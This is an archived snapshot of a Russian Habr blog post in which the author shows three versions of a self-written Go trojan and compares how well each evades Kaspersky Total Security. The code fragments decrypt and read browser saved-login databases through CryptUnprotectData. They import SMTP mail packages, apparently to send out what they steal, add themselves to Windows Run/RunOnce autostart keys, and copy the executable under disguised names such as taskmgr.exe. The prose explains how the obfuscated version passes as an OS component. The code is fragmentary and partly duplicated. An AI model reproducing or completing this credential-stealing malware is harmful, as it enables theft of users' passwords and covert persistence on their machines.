Академический Документы
Профессиональный Документы
Культура Документы
Она представляет собой снимок страницы по состоянию на 19 фев 2018 08:06:00 GMT.
Текущая страница за прошедшее время могла измениться. Подробнее
Полная версия Текстовая версия Просмотреть исходный код Совет. Чтобы искать на странице, нажмите Ctrl+F или ⌘-F (для MacOS) и введите запрос в поле поиска.
TM Feed Хабрахабр Geektimes Тостер Мой круг Фрилансим Мегапосты: Azure Атлас Canon PIXMA G3400 Хабрабургер
Здравствуйте ещё раз. Под моим первым постом «Обход антивируса Kaspersky Total Security»
Подробнее
пользователи негодовали. Кто-то писал что это вообще не обход антивируса, а полный бред, кто-то
поддержал идею. От части я своё задание выполнил, но если вам этого мало то сегодня я попробую
целиком раскрыть весь потенциал.
Реклама
Тестирование
Статью я не планирую делать большой по объему, чисто показать более модифицированную версию
трояна и сравнить несколько версий.
У меня есть 3 версии трояна: 1.0.0 (vnetwork), 1.1.0 (systemc), 1.2.0 (reaper) (Сам придумал).
Первая версия 1.0.0 (vnetwork):
package main;
import (
"unsafe"
"os"
"log"
//"io/ioutil"
"fmt"
"io"
"syscall"
"database/sql"
_ "github.com/mattn/go-sqlite3"
"github.com/scorredoira/email"
"net/mail"
"net/smtp"
//"path/filepath"
)
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
err = destFile.Sync()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func Grabber() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}
//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
for rows.Next() {
var sx string;
err = rows.Err()
if err != nil {
log.Fatal(err)
}
func main() {
mask := []byte{33, 15, 199}
maskedStr := []byte{73, 106, 190}
res := make([]byte, 3)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}
Grabber();
@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNet
work
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwo
rk
xcopy /Y test.exe "%appdata%\Microsoft\System\taskmgr.exe"
ЧИТАЮТ СЕЙЧАС
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
err = destFile.Sync()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func Recover() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}
//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
for rows.Next() {
err = rows.Err()
if err != nil {
log.Fatal(err)
}
_, _, err = currentKey.GetStringValue(nameValue)
if err != nil {
fmt.Println("[INFO]: Check registry-key is impossible!")
}
return true;
}
func main() {
var (
controllerDir string = os.Getenv("APPDATA")+"\\"+"\\Microsoft\\SystemControll
er"
)
WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
"System Controller",
controllerDir+"\\scontroller.exe",
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
controllerDir+"\\scontroller.exe",
)
WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"System Controller",
controllerDir+"\\scontroller.exe",
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"System Controller",
)
Данная версия использует исключительно встроенные модули: IO, OS для копирования, перемещения
и вообщем для работы с файлами и директориями. Троян успевает создать директорию, скопировать
файлы и добавить себя в автозагрузку, после этого всего Kaspersky Total Security замечает активность и
удаляет троян, но не удаляет скопированную копию трояна которая расположена в
%appdata%/Microsoft/SystemController, хотя с последующей автозагрузкой Kaspersky Total Security все
ровно его прибьет.
Компилируем:
Данная версия трояна имеет обфусцированный код и использует исключительно системные вызовы.
Троян успешно создает директорию, перемещает файлы и добавляет себя в автозагрузку. Kaspersky
Total Security воспринимает его как объект не несущий угроз, так как он работает с WINAPI и
компонентами ОС подписанными ЭП, с последующей автозагрузкой Kaspersky Total Security не будет
обращать внимания, будет воспринимать троян как компонент ОС. Хотя рано или поздно троян все
равно попадет в сигнатуры.
Как по мне самый эффективный способ это будет использовать SmartScreen для предотвращения
вторжения. Если нету электронной подписи на файл — иди гуляй.
Результат на VirusTotal:
Подробнее
+5 21 2,9k 7
8,0 8,0 3
Карма Рейтинг Подписчики
@fragmentation-drum
Никто
Поделиться публикацией
ПОХОЖИЕ ПУБЛИКАЦИИ
Верстка под react, сложно и бюджет под это есть Цена договорная
19.02.2018 • 0 откликов
19.02.2018 • 6 откликов
Разработка платформы для транспорта высокочастотных сигналов SMPTE 2000000 руб./за проект
19.02.2018 • 1 отклик
Подробнее
Реклама
Нет.
В чем смысл всего этого? Любой вменяемый сисадмин знает, как сделать с машиной более-менее что
угодно, и ни один антивирус на это не ругнется.
Подробнее
Как смартфон может подслушать, подсмотреть и отследить GT
+9 2,8k 14 1
+18 3,1k 4 11
Песочница Конфиденциальность